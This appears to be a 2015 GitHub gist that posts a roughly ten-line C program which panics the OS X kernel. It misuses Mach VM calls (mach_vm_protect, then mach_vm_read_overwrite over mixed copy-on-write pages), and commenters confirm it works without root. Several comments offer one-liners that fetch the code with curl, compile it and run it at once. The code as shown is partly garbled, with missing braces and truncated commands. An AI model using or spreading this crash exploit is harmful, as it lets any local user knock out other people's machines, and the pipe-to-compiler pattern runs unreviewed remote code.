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Kernel panic in latest OS X in 10 lines of C
#include <unistd.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <mach-o/dyld.h>
main (int argc, char * argv[])
volatile char * library;
const mach_vm_size_t page_size = getpagesize ();
const mach_vm_size_t buffer_size = 3 * page_size;
char buffer[buffer_size];
mach_vm_size_t result_size;
library = (char *) _dyld_get_image_header (1);
mach_vm_protect (mach_task_self (), (mach_vm_address_t) (library + page_size), page_size, FALSE, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_COPY | VM_PROT_EXECUTE);
result_size = 0;
mach_vm_read_overwrite (mach_task_self (), (mach_vm_address_t) library, buffer_size, (mach_vm_address_t) buffer, &result_size);
return 0;

sbose78 commented Feb 20, 2015

Some code comments would help :(

@sbose78: gets a pointer to the first loaded library, changes the protection of its second memory page, performs some writings on that offset and then tries to read the first 3 pages of the image into a buffer.

oleavr commented Feb 20, 2015

@sbose78 mach_vm_read_overwrite of a mapped range of which the first three pages are [COW][PRV][COW] triggers a kernel panic. Line 17 taints the second page so it changes from COW (Copy-On-Write) to PRV (Private).

kainz commented Feb 21, 2015

Does this require root to run?

Wow. That totally works. Without root. Soooo easy:

curl > crash.c && gcc -o crash crash.c && ./crash

Bilge commented Feb 21, 2015


Am I being trolled?

bcho commented Feb 21, 2015

@Bilge No, these two lines are used to make the library dirty. See @oleavr 's comment.

curl | gcc -xc -o $panickerPath -

This might work. I tried to improve @workmanw's solution for it to work without writing the C code to a file.

@CoolOppo With bash:

cc -xc <(curl && ./a.out

iskl commented Apr 5, 2015

The code do works!!! Awesome!!! Fantastic!!! Unreal!!!

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